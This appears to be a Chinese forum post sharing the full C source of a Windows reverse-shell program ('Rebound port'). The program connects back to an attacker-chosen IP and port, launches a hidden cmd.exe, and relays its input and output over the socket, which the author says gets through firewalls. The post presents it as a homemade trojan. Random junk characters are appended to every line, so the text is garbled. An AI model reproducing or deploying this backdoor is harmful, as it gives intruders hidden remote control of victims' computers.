这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T1A/>\Ns
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/* ============================== t]XF*fZH
Rebound port in Windows NT 8S@"6TG`
By wind,2006/7 )E}eK-Yu
===============================*/ blmY=/]
#include VX'G\Zz@h|
#include yUX<W'-Hev
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#pragma comment(lib,"wsock32.lib") ;edt["Eu
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void OutputShell(); "vo
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SOCKET sClient; p sAr>:\3
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _YA;Nd#%k
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void main(int argc,char **argv) K{`3,U2Wx
{ <xwaFZ
WSADATA stWsaData; +|.6xC7U
int nRet; q j*77
SOCKADDR_IN stSaiClient,stSaiServer; b/&{:g!B
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if(argc != 3) VcORRUp
{ QV_Ep8
printf("Useage:\n\rRebound DestIP DestPort\n"); |K'7BK_^J
return; 7KZ>x*o
} 10ZL-7D#m
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WSAStartup(MAKEWORD(2,2),&stWsaData); VR vX^w0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f= 33+8I
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stSaiClient.sin_family = AF_INET; m$A-'*'
stSaiClient.sin_port = htons(0); l/6(V:
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0r%,|FaS
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F5YHc$3^
{ =f=,YcRn+
printf("Bind Socket Failed!\n"); 5`f\[oA
return; D|"^
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} H 2UR
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stSaiServer.sin_family = AF_INET; ~.<}/GP] _
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); p&cJo<]=LE
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j?s+#t
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {>zQW{!
{ xwZ7I
printf("Connect Error!"); Vf`9[*j
return; 5dEek7wnf
} <'92\O
OutputShell(); jrm
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} \j~LxV
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void OutputShell() xXNLUP
{ W=?s-*F[~
char szBuff[1024]; <dX7{="&
SECURITY_ATTRIBUTES stSecurityAttributes; gpe-)hD@R
OSVERSIONINFO stOsversionInfo; RiCzH
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z=y^9]
STARTUPINFO stStartupInfo; \
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char *szShell; Fhbp,CX4p
PROCESS_INFORMATION stProcessInformation; :~B'6b
unsigned long lBytesRead; %|gj46
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =y1/V'2E
hxj[gE'R(
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nY=]KU
stSecurityAttributes.lpSecurityDescriptor = 0; ] KR\<MJK
stSecurityAttributes.bInheritHandle = TRUE; bcE%EQ
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}Oh@`xTxt
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); TF;}NQ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a?ii)GGq
w@ \quy:
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); m/>z}d05h
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XCku[?Ix
stStartupInfo.wShowWindow = SW_HIDE; h2fTG
stStartupInfo.hStdInput = hReadPipe; * 57y.](w
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4I<U5@a
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GetVersionEx(&stOsversionInfo); /b~|(g31"
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switch(stOsversionInfo.dwPlatformId) So\f[/em
{ x $=-lB
case 1: ZHW|P
szShell = "command.com"; h]#bPb
break; pxO?:B
default: ]WP[hF
szShell = "cmd.exe"; DeL7sU
break; nLv"ON~
} yct^AN|%
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <-m?l6
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send(sClient,szMsg,77,0); ziBg'
while(1) X4}Lg2ts
{ _b1w<T
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]U,f}T"e
if(lBytesRead) K h;jiK !
{ =_Y#uE$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .j_YVYu1&
send(sClient,szBuff,lBytesRead,0); =a3qpPkx
} iv]*HE
else *C n `pfO
{ [MVG\6Up(
lBytesRead=recv(sClient,szBuff,1024,0); #.z`clK#
if(lBytesRead<=0) break; YQk<1./}I
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); SUQk0 (M
} |XdkJv]
} 7L\kna<
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return; @fwk
}